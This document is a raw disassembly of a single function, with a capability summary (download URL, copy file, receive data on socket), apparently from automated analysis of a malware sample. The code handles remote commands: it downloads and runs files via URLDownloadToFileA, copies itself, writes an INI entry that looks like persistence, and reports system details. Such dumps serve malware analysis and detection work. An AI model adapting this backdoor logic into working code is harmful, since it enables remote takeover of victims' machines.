Function at 0x405694
Capabilities:
Copy file
Create thread
Download url
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x106
push 0
push 0
dec ecx
jne 0x40569c
push ebx
push esi
mov ebx, eax
lea esi, [ebp - 0x659]
xor eax, eax
push ebp
push 0x406cda
push dword fs:[eax]
mov dword fs:[eax], esp
jmp 0x406c70
lea eax, [ebp - 4]
call fcn.004041ec
lea eax, [ebp - 4]
mov edx, esi
mov ecx, 0x641
call fcn.0040444c
mov eax, esi
mov edx, 0x641
call fcn.0040508c
lea ecx, [ebp - 0xc]
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.004053f0
lea ecx, [ebp - 0x10]
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.00405500
lea ecx, [ebp - 0x14]
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.00405460
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.004052fc
mov edx, dword [ebp - 4]
mov eax, 0x406cf0
call fcn.004047a8
test eax, eax
jle 0x405798
lea eax, [ebp - 8]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x406d00
call fcn.004047a8
push eax
mov eax, dword [ebp - 4]
call fcn.00404464
mov ecx, eax
mov eax, dword [ebp - 4]
pop edx
call fcn.004046c4
lea eax, [ebp - 8]
mov ecx, 1
mov edx, 2
call fcn.00404704
lea edx, [ebp - 8]
mov ecx, 2
mov eax, 0x406d10
call fcn.0040474c
lea eax, [ebp - 8]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x406d1c
call fcn.004047a8
mov ecx, eax
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.004046c4
mov edx, dword [ebp - 8]
mov eax, ebx
call fcn.00405298
mov edx, dword [ebp - 4]
mov eax, 0x406d28
call fcn.004047a8
test eax, eax
jle 0x40580d
push 0x406d38
push dword [ebx + 0x14]
push 0x406d48
push dword [ebx + 0x18]
push 0x406d1c
lea eax, [ebp - 0x660]
mov edx, 5
call fcn.00404524
mov edx, dword [ebp - 0x660]
mov eax, ebx
call fcn.00405298
push 0x406d54
push dword [ebx + 0x14]
push 0x406d48
push dword [ebx + 0x18]
push 0x406d1c
lea eax, [ebp - 0x664]
mov edx, 5
call fcn.00404524
mov edx, dword [ebp - 0x664]
mov eax, ebx
call fcn.00405298
lea edx, [ebp - 0x668]
mov eax, dword [ebx + 0x1d8]
call fcn.00408de4
mov eax, dword [ebp - 0x668]
mov edx, 0x406d64
call fcn.004045b0
jne 0x406c70
lea eax, [ebx + 0x1e0]
mov ecx, 1
mov edx, 1
call fcn.00404704
lea edx, [ebp - 0x66c]
mov eax, dword [ebx + 0x1e0]
call fcn.004096a8
mov eax, dword [ebp - 0x66c]
push eax
lea eax, [ebp - 0x670]
mov ecx, 0x406d74
mov edx, dword [ebx + 0x20]
call fcn.004044b0
mov edx, dword [ebp - 0x670]
pop eax
call fcn.004045b0
jne 0x4058dd
cmp dword [ebx + 0x24], 0
jne 0x4058dd
mov eax, dword [ebx + 0x1e4]
mov edx, dword [ebx + 0x1c]
call fcn.004045b0
jne 0x4058dd
mov dword [ebx + 0x24], 0xffffffff
lea eax, [ebx + 0x2118]
mov edx, dword [ebp - 0xc]
call fcn.00404240
cmp dword [ebx + 0x28], 0
jne 0x4058dd
push 0x406d84
push dword [ebx + 0x14]
push 0x406d98
lea eax, [ebp - 0x674]
mov edx, 3
call fcn.00404524
mov edx, dword [ebp - 0x674]
mov eax, ebx
call fcn.00405298
cmp dword [ebx + 0x24], 0
je 0x406c70
mov eax, dword [ebx + 0x2118]
mov edx, dword [ebp - 0xc]
call fcn.004045b0
jne 0x406c70
lea edx, [ebp - 0x678]
mov eax, dword [ebx + 0x1e0]
call fcn.004096a8
mov eax, dword [ebp - 0x678]
push eax
lea eax, [ebp - 0x67c]
mov ecx, 0x406dac
mov edx, dword [ebx + 0x20]
call fcn.004044b0
mov edx, dword [ebp - 0x67c]
pop eax
call fcn.004045b0
jne 0x405a4d
cmp dword [ebx + 0x28], 0
jne 0x405968
push 0x406d84
push dword [ebx + 0x14]
push 0x406dbc
lea eax, [ebp - 0x680]
mov edx, 3
call fcn.00404524
mov edx, dword [ebp - 0x680]
mov eax, ebx
call fcn.00405298
push 0
push 0
mov eax, dword [ebx + 0x1e8]
call fcn.00404664
push eax
mov eax, dword [ebx + 0x1e4]
call fcn.00404664
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileA
cmp dword [ebx + 0x28], 0
jne 0x4059bb
push 0x406d84
push dword [ebx + 0x14]
push 0x406ddc
lea eax, [ebp - 0x684]
mov edx, 3
call fcn.00404524
mov edx, dword [ebp - 0x684]
mov eax, ebx
call fcn.00405298
mov eax, dword [ebx + 0x1ec]
mov edx, 0x406dfc
call fcn.004045b0
jne 0x405a0c
mov dl, 1
mov eax, dword [ebx + 0x1e8]
call fcn.00409208
cmp dword [ebx + 0x28], 0
jne 0x405a4d
push 0x406d84
push dword [ebx + 0x14]
push 0x406e08
lea eax, [ebp - 0x688]
mov edx, 3
call fcn.00404524
mov edx, dword [ebp - 0x688]
mov eax, ebx
call fcn.00405298
jmp 0x405a4d
mov eax, dword [ebx + 0x1ec]
mov edx, 0x406e24
call fcn.004045b0
jne 0x405a4d
cmp dword [ebx + 0x28], 0
jne 0x405a30
mov edx, 0x406e30
mov eax, ebx
call fcn.00405298
mov eax, dword [ebx + 0x30]
push eax
call sub.wsock32.dll_closesocket
mov dl, 1
mov eax, dword [ebx + 0x1e8]
call fcn.00409208
push 0
call sub.kernel32.dll_ExitProcess_1
lea edx, [ebp - 0x68c]
mov eax, dword [ebx + 0x1e0]
call fcn.004096a8
mov eax, dword [ebp - 0x68c]
push eax
lea eax, [ebp - 0x690]
mov ecx, 0x406e4c
mov edx, dword [ebx + 0x20]
call fcn.004044b0
mov edx, dword [ebp - 0x690]
pop eax
call fcn.004045b0
jne 0x405a96
xor eax, eax
mov dword [ebx + 0x24], eax
lea eax, [ebx + 0x2118]
call fcn.004041ec
lea edx, [ebp - 0x694]
mov eax, dword [ebx + 0x1e0]
call fcn.004096a8
mov eax, dword [ebp - 0x694]
push eax
lea eax, [ebp - 0x698]
mov ecx, 0x406e5c
mov edx, dword [ebx + 0x20]
call fcn.004044b0
mov edx, dword [ebp - 0x698]
pop eax
call fcn.004045b0
jne 0x405b3b
mov eax, dword [ebx + 0x1e4]
mov edx, 0x406dfc
call fcn.004045b0
jne 0x405aea
mov dword [ebx + 0x28], 0xffffffff
jmp 0x405b33
mov eax, dword [ebx + 0x1e4]
mov edx, 0x406e6c
call fcn.004045b0
jne 0x405b03
xor eax, eax
mov dword [ebx + 0x28], eax
jmp 0x405b33
cmp dword [ebx + 0x28], 0
jne 0x405b33
push 0x406d84
push dword [ebx + 0x14]
push 0x406e78
lea eax, [ebp - 0x69c]
mov edx, 3
call fcn.00404524
mov edx, dword [ebp - 0x69c]
mov eax, ebx
call fcn.00405298
mov eax, dword [ebx + 0x28]
mov dword [0x40c698], eax
lea edx, [ebp - 0x6a0]
mov eax, dword [ebx + 0x1e0]
call fcn.004096a8
mov eax, dword [ebp - 0x6a0]
push eax
lea eax, [ebp - 0x6a4]
mov ecx, 0x406e94
mov edx, dword [ebx + 0x20]
call fcn.004044b0
mov edx, dword [ebp - 0x6a4]
pop eax
call fcn.004045b0
jne 0x405bcd
lea eax, [ebp - 0x10]
push eax
lea edx, [ebp - 0x6a8]
mov eax, dword [ebp - 0x10]
call fcn.004096a8
mov edx, dword [ebp - 0x6a8]
mov eax, 0x406ea0
call fcn.004047a8
add eax, 4
push eax
mov eax, dword [ebp - 0x10]
call fcn.00404464
mov ecx, eax
mov eax, dword [ebp - 0x10]
pop edx
call fcn.004046c4
lea eax, [ebp - 0x6ac]
mov ecx, 0x406d1c
mov edx, dword [ebp - 0x10]
call fcn.004044b0
mov edx, dword [ebp - 0x6ac]
mov eax, ebx
call fcn.00405298
lea edx, [ebp - 0x6b0]
mov eax, dword [ebx + 0x1e0]
call fcn.004096a8
mov eax, dword [ebp - 0x6b0]
push eax
lea eax, [ebp - 0x6b4]
mov ecx, 0x406eb0
mov edx, dword [ebx + 0x20]
call fcn.004044b0
mov edx, dword [ebp - 0x6b4]
pop eax
call fcn.004045b0
jne 0x406432
cmp dword [ebx + 0x28], 0
jne 0x406432
mov eax, dword [ebx + 0x1e4]
mov edx, 0x406dfc
call fcn.004045b0
jne 0x405d66
push 0x406d84
push dword [ebx + 0x14]
push 0x406ec0
lea eax, [ebp - 8]
mov edx, 3
call fcn.00404524
mov eax, dword [ebp - 8]
call fcn.00404464
inc eax
push eax
push 0x406ecc
lea eax, [ebp - 0x6bc]
call fcn.00408fc8
push dword [ebp - 0x6bc]
push 0x406edc
lea eax, [ebp - 0x6b8]
mov edx, 3
call fcn.00404524
mov eax, dword [ebp - 0x6b8]
lea edx, [ebp - 8]
pop ecx
call fcn.0040474c
mov eax, dword [ebp - 8]
call fcn.00404464
inc eax
push eax
push 0x406eec
lea eax, [ebp - 0x6c4]
call fcn.00408e20
push dword [ebp - 0x6c4]
push 0x406edc
lea eax, [ebp - 0x6c0]
mov edx, 3
call fcn.00404524
mov eax, dword [ebp - 0x6c0]
lea edx, [ebp - 8]
pop ecx
call fcn.0040474c
push 0x406efc
lea edx, [ebp - 0x6cc]
xor eax, eax
call fcn.00409454
push dword [ebp - 0x6cc]
push 0x406edc
lea eax, [ebp - 0x6c8]
mov edx, 3
call fcn.00404524
mov eax, dword [ebp - 0x6c8]
push eax
mov eax, dword [ebp - 8]
call fcn.00404464
mov ecx, eax
inc ecx
lea edx, [ebp - 8]
pop eax
call fcn.0040474c
push 0x406f10
lea edx, [ebp - 0x6d4]
xor eax, eax
call fcn.004093ac
push dword [ebp - 0x6d4]
push 0x406f24
lea eax, [ebp - 0x6d0]
mov edx, 3
call fcn.00404524
mov eax, dword [ebp - 0x6d0]
push eax
mov eax, dword [ebp - 8]
call fcn.00404464
mov ecx, eax
inc ecx
lea edx, [ebp - 8]
pop eax
call fcn.0040474c
mov edx, dword [ebp - 8]
mov eax, ebx
call fcn.00405298
mov eax, dword [ebx + 0x1e4]
mov edx, 0x406e24
call fcn.004045b0
jne 0x405f96
lea edx, [ebp - 0x6d8]
mov eax, dword [ebx + 0x1e8]
call fcn.004096a8
mov eax, dword [ebp - 0x6d8]
mov edx, 0x406f30
call fcn.004045b0
jne 0x405ee2
push 0x406d84
push dword [ebx + 0x14]
push 0x406ec0
lea eax, [ebp - 8]
mov edx, 3
call fcn.00404524
push dword [ebp - 8]
push 0x406f3c
lea edx, [ebp - 0x6dc]
mov eax, dword [0x40c67c]
call fcn.004095b0
push dword [ebp - 0x6dc]
push 0x406f58
lea eax, [ebp - 8]
mov edx, 4
call fcn.00404524
push dword [ebp - 8]
push 0x406f64
lea edx, [ebp - 0x6e0]
mov eax, dword [0x40c680]
call fcn.004095b0
push dword [ebp - 0x6e0]
push 0x406f58
lea eax, [ebp - 8]
mov edx, 4
call fcn.00404524
push dword [ebp - 8]
push 0x406f80
lea edx, [ebp - 0x6e4]
mov eax, dword [0x40c684]
call fcn.004095b0
push dword [ebp - 0x6e4]
push 0x406f58
lea eax, [ebp - 8]
mov edx, 4
call fcn.00404524
push dword [ebp - 8]
push 0x406f9c
lea edx, [ebp - 0x6e8]
mov eax, dword [0x40c688]
call fcn.004095b0
push dword [ebp - 0x6e8]
push 0x406f58
lea eax, [ebp - 8]
mov edx, 4
call fcn.00404524
push dword [ebp - 8]
push 0x406fbc
lea edx, [ebp - 0x6ec]
mov eax, dword [0x40c68c]
call fcn.004095b0
push dword [ebp - 0x6ec]
push 0x406f58
lea eax, [ebp - 8]
mov edx, 4
call fcn.00404524
push dword [ebp - 8]
push 0x406fdc
lea edx, [ebp - 0x6f0]
mov eax, dword [0x40c690]
call fcn.004095b0
push dword [ebp - 0x6f0]
push 0x406f24
lea eax, [ebp - 8]
mov edx, 4
call fcn.00404524
jmp 0x405f8c
push 0x406d84
push dword [ebx + 0x14]
push 0x406ec0
lea eax, [ebp - 8]
mov edx, 3
call fcn.00404524
push dword [ebp - 8]
push 0x406f3c
lea edx, [ebp - 0x6f4]
mov eax, dword [0x40c67c]
call fcn.004095b0
push dword [ebp - 0x6f4]
push 0x406f58
lea eax, [ebp - 8]
mov edx, 4
call fcn.00404524
push dword [ebp - 8]
push 0x406f64
lea edx, [ebp - 0x6f8]
mov eax, dword [0x40c680]
call fcn.004095b0
push dword [ebp - 0x6f8]
push 0x406f58
lea eax, [ebp - 8]
mov edx, 4
call fcn.00404524
push dword [ebp - 8]
push 0x406f80
lea edx, [ebp - 0x6fc]
mov eax, dword [0x40c684]
call fcn.004095b0
push dword [ebp - 0x6fc]
push 0x406f24
lea eax, [ebp - 8]
mov edx, 4
call fcn.00404524
mov edx, dword [ebp - 8]
mov eax, ebx
call fcn.00405298
mov eax, dword [ebx + 0x1e4]
mov edx, 0x406ffc
call fcn.004045b0
jne 0x406060
push 0x406d84
push dword [ebx + 0x14]
push 0x406ec0
lea eax, [ebp - 8]
mov edx, 3
call fcn.00404524
push dword [ebp - 8]
push 0x407008
lea edx, [ebp - 0x700]
mov eax, dword [0x40c6a0]
call fcn.004095b0
push dword [ebp - 0x700]
push 0x406f58
lea eax, [ebp - 8]
mov edx, 4
call fcn.00404524
push dword [ebp - 8]
push 0x407024
lea edx, [ebp - 0x704]
mov eax, dword [0x40c6a4]
call fcn.004095b0
push dword [ebp - 0x704]
push 0x406f58
lea eax, [ebp - 8]
mov edx, 4
call fcn.00404524
push dword [ebp - 8]
push 0x40703c
lea edx, [ebp - 0x708]
mov eax, dword [0x40c6a8]
call fcn.004095b0
push dword [ebp - 0x708]
push 0x406f24
lea eax, [ebp - 8]
mov edx, 4
call fcn.00404524
mov edx, dword [ebp - 8]
mov eax, ebx
call fcn.00405298
mov eax, dword [ebx + 0x1e4]
mov edx, 0x407058
call fcn.004045b0
jne 0x40612a
push 0x406d84
push dword [ebx + 0x14]
push 0x406ec0
lea eax, [ebp - 8]
mov edx, 3
call fcn.00404524
push dword [ebp - 8]
push 0x407064
lea edx, [ebp - 0x70c]
mov eax, dword [0x40c6b0]
call fcn.004095b0
push dword [ebp - 0x70c]
push 0x406f58
lea eax, [ebp - 8]
mov edx, 4
call fcn.00404524
push dword [ebp - 8]
push 0x407084
lea edx, [ebp - 0x710]
mov eax, dword [0x40c6b4]
call fcn.004095b0
push dword [ebp - 0x710]
push 0x406f58
lea eax, [ebp - 8]
mov edx, 4
call fcn.00404524
push dword [ebp - 8]
push 0x4070a4
lea edx, [ebp - 0x714]
mov eax, dword [0x40c6b8]
call fcn.004095b0
push dword [ebp - 0x714]
push 0x406f24
lea eax, [ebp - 8]
mov edx, 4
call fcn.00404524
mov edx, dword [ebp - 8]
mov eax, ebx
call fcn.00405298
mov eax, dword [ebx + 0x1e4]
mov edx, 0x4070bc
call fcn.004045b0
jne 0x406432
push 0x406d84
push dword [ebx + 0x14]
push 0x406ec0
lea eax, [ebp - 8]
mov edx, 3
call fcn.00404524
lea edx, [ebp - 0x71c]
xor eax, eax
call fcn.00402b68
mov eax, dword [ebp - 0x71c]
lea edx, [ebp - 0x718]
call fcn.004095e8
mov eax, dword [ebp - 0x718]
push eax
lea edx, [ebp - 0x720]
xor eax, eax
call fcn.004093ac
mov edx, dword [ebp - 0x720]
pop eax
call fcn.004045b0
jne 0x4061f8
push 0x4070c8
lea edx, [ebp - 0x72c]
xor eax, eax
call fcn.00402b68
mov eax, dword [ebp - 0x72c]
lea edx, [ebp - 0x728]
call fcn.00409624
push dword [ebp - 0x728]
push 0x406f24
lea eax, [ebp - 0x724]
mov edx, 3
call fcn.00404524
mov eax, dword [ebp - 0x724]
push eax
mov eax, dword [ebp - 8]
call fcn.00404464
mov ecx, eax
inc ecx
lea edx, [ebp - 8]
pop eax
call fcn.0040474c
jmp 0x406428
lea edx, [ebp - 0x734]
xor eax, eax
call fcn.00402b68
mov eax, dword [ebp - 0x734]
lea edx, [ebp - 0x730]
call fcn.004095e8
mov eax, dword [ebp - 0x730]
push eax
lea edx, [ebp - 0x738]
xor eax, eax
call fcn.00409454
mov edx, dword [ebp - 0x738]
pop eax
call fcn.004045b0
jne 0x406296
push 0x4070dc
lea edx, [ebp - 0x744]
xor eax, eax
call fcn.00402b68
mov eax, dword [ebp - 0x744]
lea edx, [ebp - 0x740]
call fcn.00409624
push dword [ebp - 0x740]
push 0x406f24
lea eax, [ebp - 0x73c]
mov edx, 3
call fcn.00404524
mov eax, dword [ebp - 0x73c]
push eax
mov eax, dword [ebp - 8]
call fcn.00404464
mov ecx, eax
inc ecx
lea edx, [ebp - 8]
pop eax
call fcn.0040474c
jmp 0x406428
lea edx, [ebp - 0x74c]
xor eax, eax
call fcn.00402b68
mov eax, dword [ebp - 0x74c]
lea edx, [ebp - 0x748]
call fcn.004095e8
mov eax, dword [ebp - 0x748]
push eax
lea edx, [ebp - 0x750]
xor eax, eax
call fcn.004094fc
mov edx, dword [ebp - 0x750]
pop eax
call fcn.004045b0
jne 0x406334
push 0x4070f0
lea edx, [ebp - 0x75c]
xor eax, eax
call fcn.00402b68
mov eax, dword [ebp - 0x75c]
lea edx, [ebp - 0x758]
call fcn.00409624
push dword [ebp - 0x758]
push 0x406f24
lea eax, [ebp - 0x754]
mov edx, 3
call fcn.00404524
mov eax, dword [ebp - 0x754]
push eax
mov eax, dword [ebp - 8]
call fcn.00404464
mov ecx, eax
inc ecx
lea edx, [ebp - 8]
pop eax
call fcn.0040474c
jmp 0x406428
lea edx, [ebp - 0x764]
xor eax, eax
call fcn.00402b68
mov eax, dword [ebp - 0x764]
lea edx, [ebp - 0x760]
call fcn.004095e8
mov eax, dword [ebp - 0x760]
push eax
lea edx, [ebp - 0x768]
xor eax, eax
call fcn.00409304
mov edx, dword [ebp - 0x768]
pop eax
call fcn.004045b0
jne 0x4063cf
push 0x407104
lea edx, [ebp - 0x774]
xor eax, eax
call fcn.00402b68
mov eax, dword [ebp - 0x774]
lea edx, [ebp - 0x770]
call fcn.00409624
push dword [ebp - 0x770]
push 0x406f24
lea eax, [ebp - 0x76c]
mov edx, 3
call fcn.00404524
mov eax, dword [ebp - 0x76c]
push eax
mov eax, dword [ebp - 8]
call fcn.00404464
mov ecx, eax
inc ecx
lea edx, [ebp - 8]
pop eax
call fcn.0040474c
jmp 0x406428
push 0x407118
lea edx, [ebp - 0x780]
xor eax, eax
call fcn.00402b68
mov eax, dword [ebp - 0x780]
lea edx, [ebp - 0x77c]
call fcn.00409624
push dword [ebp - 0x77c]
push 0x406f24
lea eax, [ebp - 0x778]
mov edx, 3
call fcn.00404524
mov eax, dword [ebp - 0x778]
push eax
mov eax, dword [ebp - 8]
call fcn.00404464
mov ecx, eax
inc ecx
lea edx, [ebp - 8]
pop eax
call fcn.0040474c
mov edx, dword [ebp - 8]
mov eax, ebx
call fcn.00405298
lea edx, [ebp - 0x784]
mov eax, dword [ebx + 0x1e0]
call fcn.004096a8
mov eax, dword [ebp - 0x784]
push eax
lea eax, [ebp - 0x788]
mov ecx, 0x407128
mov edx, dword [ebx + 0x20]
call fcn.004044b0
mov edx, dword [ebp - 0x788]
pop eax
call fcn.004045b0
jne 0x4064a0
mov edx, 0x407138
mov eax, ebx
call fcn.00405298
cmp dword [ebx + 0x1e4], 0
je 0x406497
mov eax, dword [ebx + 0x1e4]
call fcn.004095a4
imul eax, eax, 0x3e8
push eax
call sub.kernel32.dll_Sleep
mov eax, dword [ebx + 0x30]
push eax
call sub.wsock32.dll_closesocket
lea edx, [ebp - 0x78c]
mov eax, dword [ebx + 0x1e0]
call fcn.004096a8
mov eax, dword [ebp - 0x78c]
push eax
lea eax, [ebp - 0x790]
mov ecx, 0x407154
mov edx, dword [ebx + 0x20]
call fcn.004044b0
mov edx, dword [ebp - 0x790]
pop eax
call fcn.004045b0
jne 0x4064f6
mov edx, 0x407164
mov eax, ebx
call fcn.00405298
push 0x190
call sub.kernel32.dll_Sleep
push 0
call sub.kernel32.dll_ExitProcess_1
lea edx, [ebp - 0x794]
mov eax, dword [ebx + 0x1e0]
call fcn.004096a8
mov eax, dword [ebp - 0x794]
push eax
lea eax, [ebp - 0x798]
mov ecx, 0x40717c
mov edx, dword [ebx + 0x20]
call fcn.004044b0
mov edx, dword [ebp - 0x798]
pop eax
call fcn.004045b0
jne 0x406567
push 0x40718c
lea eax, [ebp - 0x7a0]
call fcn.00408c40
push dword [ebp - 0x7a0]
push 0x406d1c
lea eax, [ebp - 0x79c]
mov edx, 3
call fcn.00404524
mov edx, dword [ebp - 0x79c]
mov eax, ebx
call fcn.00405298
lea edx, [ebp - 0x7a4]
mov eax, dword [ebx + 0x1e0]
call fcn.004096a8
mov eax, dword [ebp - 0x7a4]
push eax
lea eax, [ebp - 0x7a8]
mov ecx, 0x40719c
mov edx, dword [ebx + 0x20]
call fcn.004044b0
mov edx, dword [ebp - 0x7a8]
pop eax
call fcn.004045b0
jne 0x406602
mov eax, dword [ebx + 0x1e4]
call fcn.00404464
mov edx, dword [ebx + 0x1e4]
cmp byte [edx + eax - 1], 0xa
jne 0x4065d5
mov eax, dword [ebx + 0x1e4]
call fcn.00404464
mov edx, eax
lea eax, [ebx + 0x1e4]
mov ecx, 1
call fcn.00404704
push 0x406d38
push dword [ebx + 0x1e4]
push 0x406d1c
lea eax, [ebp - 0x7ac]
mov edx, 3
call fcn.00404524
mov edx, dword [ebp - 0x7ac]
mov eax, ebx
call fcn.00405298
lea edx, [ebp - 0x7b0]
mov eax, dword [ebx + 0x1e0]
call fcn.004096a8
mov eax, dword [ebp - 0x7b0]
push eax
lea eax, [ebp - 0x7b4]
mov ecx, 0x4071ac
mov edx, dword [ebx + 0x20]
call fcn.004044b0
mov edx, dword [ebp - 0x7b4]
pop eax
call fcn.004045b0
jne 0x40669d
mov eax, dword [ebx + 0x1e4]
call fcn.00404464
mov edx, dword [ebx + 0x1e4]
cmp byte [edx + eax - 1], 0xa
jne 0x406670
mov eax, dword [ebx + 0x1e4]
call fcn.00404464
mov edx, eax
lea eax, [ebx + 0x1e4]
mov ecx, 1
call fcn.00404704
push 0x4071bc
push dword [ebx + 0x1e4]
push 0x4071cc
lea eax, [ebp - 0x7b8]
mov edx, 3
call fcn.00404524
mov edx, dword [ebp - 0x7b8]
mov eax, ebx
call fcn.00405298
lea edx, [ebp - 0x7bc]
mov eax, dword [ebx + 0x1e0]
call fcn.004096a8
mov eax, dword [ebp - 0x7bc]
push eax
lea eax, [ebp - 0x7c0]
mov ecx, 0x4071e0
mov edx, dword [ebx + 0x20]
call fcn.004044b0
mov edx, dword [ebp - 0x7c0]
pop eax
call fcn.004045b0
jne 0x406bd1
cmp dword [ebx + 0x1e4], 0
je 0x4068bc
mov eax, dword [ebx + 0x1e4]
mov edx, 0x4071f0
call fcn.004045b0
je 0x4068bc
lea edx, [ebp - 8]
mov eax, dword [ebx + 0x1e4]
call fcn.004096a8
lea eax, [ebp - 0x7c4]
call fcn.00408ba4
mov edx, dword [ebp - 0x7c4]
lea ecx, [ebp - 8]
mov eax, 0x4071fc
call fcn.00409270
lea edx, [ebp - 0x7c8]
xor eax, eax
call fcn.004094fc
mov edx, dword [ebp - 0x7c8]
lea ecx, [ebp - 8]
mov eax, 0x407210
call fcn.00409270
lea edx, [ebp - 0x7cc]
xor eax, eax
call fcn.00409454
mov edx, dword [ebp - 0x7cc]
lea ecx, [ebp - 8]
mov eax, 0x407220
call fcn.00409270
lea edx, [ebp - 0x7d0]
xor eax, eax
call fcn.004093ac
mov edx, dword [ebp - 0x7d0]
lea ecx, [ebp - 8]
mov eax, 0x407230
call fcn.00409270
lea edx, [ebp - 0x7d4]
xor eax, eax
call fcn.00409304
mov edx, dword [ebp - 0x7d4]
lea ecx, [ebp - 8]
mov eax, 0x407240
call fcn.00409270
lea eax, [ebp - 0x7d8]
call fcn.00408c40
mov edx, dword [ebp - 0x7d8]
lea ecx, [ebp - 8]
mov eax, 0x407250
call fcn.00409270
lea edx, [ebp - 0x7dc]
mov eax, dword [ebp - 8]
call fcn.00409624
mov edx, dword [ebp - 0x7dc]
mov eax, 0x407260
call fcn.004047a8
test eax, eax
jne 0x4067f6
lea eax, [ebp - 8]
mov edx, 0x40726c
call fcn.0040446c
lea eax, [ebx + 0x1e4]
mov edx, dword [ebp - 8]
call fcn.00404240
push 0
mov eax, dword [ebx + 0x1e4]
call fcn.00404664
push eax
lea edx, [ebp - 0x7e0]
xor eax, eax
call fcn.00402b68
mov eax, dword [ebp - 0x7e0]
call fcn.00404664
push eax
call sub.kernel32.dll_CopyFileA
test eax, eax
je 0x406878
cmp dword [ebx + 0x28], 0
jne 0x406a6a
push 0x406d84
push dword [ebx + 0x14]
push 0x40727c
push dword [ebx + 0x1e4]
push 0x406f24
lea eax, [ebp - 0x7e4]
mov edx, 5
call fcn.00404524
mov edx, dword [ebp - 0x7e4]
mov eax, ebx
call fcn.00405298
jmp 0x406a6a
cmp dword [ebx + 0x28], 0
jne 0x406a6a
push 0x406d84
push dword [ebx + 0x14]
push 0x407294
push dword [ebx + 0x1e4]
push 0x406f24
lea eax, [ebp - 0x7e8]
mov edx, 5
call fcn.00404524
mov edx, dword [ebp - 0x7e8]
mov eax, ebx
call fcn.00405298
jmp 0x406a6a
lea eax, [ebp - 8]
mov edx, 0x4072b4
call fcn.00404284
lea eax, [ebp - 0x7ec]
call fcn.00408ba4
mov edx, dword [ebp - 0x7ec]
lea ecx, [ebp - 8]
mov eax, 0x4071fc
call fcn.00409270
lea edx, [ebp - 0x7f0]
xor eax, eax
call fcn.004094fc
mov edx, dword [ebp - 0x7f0]
lea ecx, [ebp - 8]
mov eax, 0x407210
call fcn.00409270
lea edx, [ebp - 0x7f4]
xor eax, eax
call fcn.00409454
mov edx, dword [ebp - 0x7f4]
lea ecx, [ebp - 8]
mov eax, 0x407220
call fcn.00409270
lea edx, [ebp - 0x7f8]
xor eax, eax
call fcn.004093ac
mov edx, dword [ebp - 0x7f8]
lea ecx, [ebp - 8]
mov eax, 0x407230
call fcn.00409270
lea edx, [ebp - 0x7fc]
xor eax, eax
call fcn.00409304
mov edx, dword [ebp - 0x7fc]
lea ecx, [ebp - 8]
mov eax, 0x407240
call fcn.00409270
lea eax, [ebp - 0x800]
call fcn.00408c40
mov edx, dword [ebp - 0x800]
lea ecx, [ebp - 8]
mov eax, 0x407250
call fcn.00409270
lea edx, [ebp - 0x804]
mov eax, dword [ebp - 8]
call fcn.00409624
mov edx, dword [ebp - 0x804]
mov eax, 0x407260
call fcn.004047a8
test eax, eax
jne 0x4069b4
lea eax, [ebp - 8]
mov edx, 0x40726c
call fcn.0040446c
lea eax, [ebx + 0x1e4]
mov edx, dword [ebp - 8]
call fcn.00404240
push 0
mov eax, dword [ebx + 0x1e4]
call fcn.00404664
push eax
lea edx, [ebp - 0x808]
xor eax, eax
call fcn.00402b68
mov eax, dword [ebp - 0x808]
call fcn.00404664
push eax
call sub.kernel32.dll_CopyFileA
test eax, eax
je 0x406a2f
cmp dword [ebx + 0x28], 0
jne 0x406a6a
push 0x406d84
push dword [ebx + 0x14]
push 0x40727c
push dword [ebx + 0x1e4]
push 0x406f24
lea eax, [ebp - 0x80c]
mov edx, 5
call fcn.00404524
mov edx, dword [ebp - 0x80c]
mov eax, ebx
call fcn.00405298
jmp 0x406a6a
cmp dword [ebx + 0x28], 0
jne 0x406a6a
push 0x406d84
push dword [ebx + 0x14]
push 0x407294
push dword [ebx + 0x1e4]
push 0x406f24
lea eax, [ebp - 0x810]
mov edx, 5
call fcn.00404524
mov edx, dword [ebp - 0x810]
mov eax, ebx
call fcn.00405298
cmp dword [ebx + 0x1e8], 0
je 0x406b18
mov eax, dword [ebx + 0x1e8]
call fcn.004095a4
test eax, eax
jle 0x406b18
mov eax, dword [ebx + 0x1e8]
call fcn.004095a4
mov edx, eax
mov eax, dword [ebx + 0x1e4]
call fcn.00408ad0
test eax, eax
je 0x406b18
cmp dword [ebx + 0x28], 0
jne 0x406ae3
push 0x406d84
push dword [ebx + 0x14]
push 0x4072d0
push dword [ebx + 0x1e4]
push 0x406f24
lea eax, [ebp - 0x814]
mov edx, 5
call fcn.00404524
mov edx, dword [ebp - 0x814]
mov eax, ebx
call fcn.00405298
jmp 0x406b18
push 0x406d84
push dword [ebx + 0x14]
push 0x4072f4
push dword [ebx + 0x1e4]
push 0x406f24
lea eax, [ebp - 0x818]
mov edx, 5
call fcn.00404524
mov edx, dword [ebp - 0x818]
mov eax, ebx
call fcn.00405298
lea edx, [ebp - 0x81c]
mov eax, dword [ebx + 0x1ec]
call fcn.004096a8
mov eax, dword [ebp - 0x81c]
mov edx, 0x407320
call fcn.004045b0
jne 0x406ba1
push 0x407328
lea eax, [ebp - 0x820]
mov ecx, dword [ebx + 0x1e4]
mov edx, 0x40733c
call fcn.004044b0
mov eax, dword [ebp - 0x820]
call fcn.00404664
push eax
push 0x40734c
push 0x407354
call sub.kernel32.dll_WritePrivateProfileStringA
cmp dword [ebx + 0x28], 0
jne 0x406ba1
push 0x406d84
push dword [ebx + 0x14]
push 0x407364
lea eax, [ebp - 0x824]
mov edx, 3
call fcn.00404524
mov edx, dword [ebp - 0x824]
mov eax, ebx
call fcn.00405298
lea edx, [ebp - 0x828]
mov eax, dword [ebx + 0x1f0]
call fcn.004096a8
mov eax, dword [ebp - 0x828]
mov edx, 0x406dfc
call fcn.004045b0
jne 0x406bd1
mov dl, 1
mov eax, dword [ebx + 0x1e4]
call fcn.00409208
lea edx, [ebp - 0x82c]
mov eax, dword [ebx + 0x1e0]
call fcn.004096a8
mov eax, dword [ebp - 0x82c]
push eax
lea eax, [ebp - 0x830]
mov ecx, 0x407384
mov edx, dword [ebx + 0x20]
call fcn.004044b0
